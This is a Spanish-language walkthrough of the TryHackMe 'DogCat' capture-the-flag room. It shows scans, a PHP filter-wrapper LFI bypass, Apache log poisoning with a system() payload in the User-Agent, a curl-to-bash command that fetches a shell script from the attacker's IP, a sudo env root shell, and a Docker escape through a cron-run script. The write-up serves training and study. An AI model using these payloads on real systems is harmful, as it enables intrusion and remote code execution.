This page looks best with JavaScript enabled

TryHackMe - DogCat

 •  ✍️ sckull

DogCat es una maquina de TryHackMe, explotando la vulnerabilidad LFI con wrappers de PHP obtuvimos la primera flag. Realizando Log Poisoning obtuvimos una shell. Escalamos privilegios utilizando ENV y Sudo en contenedor de Docker. Un script ejecutado por un CronJob del Host permitio escalar privilegios.

Room

Titulo dogcat box_img_maker
Descripción I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.
Puntos 435
Dificultad Media
Maker

jammy

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto http (445) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# Nmap 7.80 scan initiated Fri Apr 17 20:42:19 2020 as: nmap -T5 -sV -sC -p- -o nmap_scan dogcat.thm
Warning: dogcat.thm giving up on port because retransmission cap hit (2).
Nmap scan report for dogcat.thm
Host is up (0.15s latency).
Not shown: 65497 closed ports, 36 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
|   256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_  256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 17 20:52:58 2020 -- 1 IP address (1 host up) scanned in 639.73 seconds

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
4
5
6
7
root@upset:~/tools/Kadimus# gobuster dir -u http://dogcat.thm/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -q -t 45 -x php,html,txt
/index.php (Status: 200)
/cat.php (Status: 200)
/flag.php (Status: 200)
/cats (Status: 301)
/dogs (Status: 301)
/dog.php (Status: 200)

HTTP

Encontramos una pagina sencilla en el puerto 80, que al darle click a la opcion de perro (dog) nos muestra una imagen.
image

Vemos que en la url le pasa por parametro la palabra dog. Dentro del escaneo de GOBUSTER vimos que existe un archivo cat y dog con extension en php, al ver el codigo fuente de ambas paginas y al recargar por repetidas ocaciones la imagen que genera junto al codigo html es distinta.
image

Por lo que cada vez que se selecciona la opcion de dog o cat, nos muéstra distintas imagenes.

LFI - CAT OR DOG

Intentamos utilizar LFI basico (/etc/passwd, /var/log/apache2/access.log, etc) pero no logramos leer ninguno de los archivos ya que la pagina nos mostraba el mensaje Sorry, only dogs or cats are allowed..
image

Lo curioso de este reto es que, al pasarle la palabra cat dentro de una peticion de un archivo o lo que fuera, nos mostraba el mensaje Here you go! y un error de la funcion include(). Desde aqui tiene un poco de sentido el mensaje de error anterior (Sorry, only dogs or cats are allowed.) podemos utilizar tanto dog o cat dentro de las peticiones para que sean aceptadas.

Utilizamos php://filter/convert.base64-encode/dog/resource=ARCHIVO para leer archivos, en este caso leemos el archivo index.php que es el que utiliza ?view=, logramos obtener el archivo en base64.

image

Logramos obtener el codigo fuente de index.php, logramos ver que hay una funcion que verifica si existe cat o dog dentro de la peticion, tambien vemos que podemos enviarle como parametro una extension de lo contrario la tomara como .php.

**ALERTA DE SPOILER** `SPOILER` `SPOILER` `SPOILER`
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
	<?php
      function containsStr($str, $substr) {
          return strpos($str, $substr) !== false;
      }
      $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
      if(isset($_GET['view'])) {
          if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
              echo 'Here you go!';
              include $_GET['view'] . $ext;
          } else {
          echo 'Sorry, only dogs or cats are allowed.';
          }
      }
  ?> 

Leemos el archivo flag.php y logramos leer nuestra primera flag.
image

RCE - Apache Log Poisoning

Utilizamos el User-Agent para poder ejecutar nuestro codigo php el que tendra como objetivo obtener y ejecutar un comando que le pasemos. Utilizamos php://filter/dog/resource=../../../../var/log/apache2/access.log&ext= para leer el archivo log, además de esto agregamos el comando que deseamos ejecutar en la maquina &cmd=whoami, por lo que luciría de la siguiente forma.

Apache Log Poisoning

1
2
3
GET /?view=php://filter/dog/resource=../../../../var/log/apache2/access.log&ext=&cmd=whoami HTTP/1.1
Host: dogcat.thm
User-Agent:Mozilla/5.0 <?php system($_GET['cmd']); ?> Gecko/20100101 Firefox/68.0 

Vemos que en la respuesta tenemos acceso como usuario www-data.
image

USER - WWW-DATA [ DOCKER ]

Ahora, creamos un archivo que contenga una shell inversa para descargarlo mediante un servidor de python (python3 -m http.server 80) en la maquina.

Comando para descargar y ejecutar nuestra shell (Codificamos a URL los espacios)

1
2
3
4
bash -c  "$(curl -s 10.8.6.160/shell.sh)"

#Codificado
bash%20-c%20%20"$(curl%20-s%2010.8.6.160/shell.sh)"

Logramos obtener una shell con el usuario www-data.
image

Nuestra segunda flag.
image

PRIVILEGE ESCALATION - DOCKER

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos root (sudo) para ejecutar el comando env. Utilizamos env para obtener una shell root.

image

1
sudo /usr/bin/env /bin/sh

Òbtenemos nuestra shell como usuario root y nuestra tercera flag.
image

ESCAPING DOCKER

Tenemos privilegio root pero vemos que estamos limitados de comandos y vemos en la raiz de la maquina que existe un archivo .dockerenv por lo que en el lugar que estamos es un contenedor.

Dentro de la carpeta /opt/backup encontramos una carpeta que contiene dos archivos un bash y un tar, los cuales se utilizaron para crear el contenedor (backup.tar), vemos que el archivo bash descomprimer el archivo tar dentro de /root/container. Agregamos un ping hacia nuestra maquina en el archivo y logramos obtener paquetes en tcpdump.
image

TCPDUMP
image

Podemos deducir que existe un crontab que ejecuta el archibo backup.sh, ahora, agregamos una shell inversa a este archivo y ponemos a la escucha netcat en nuestra maquina y esperamos a que nos devuelva una shell.

SHELL
image

NETCAT
image

Logramos obtener una shell y nuestra ultima flag.
image

Crontab del archivo backup.sh
image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe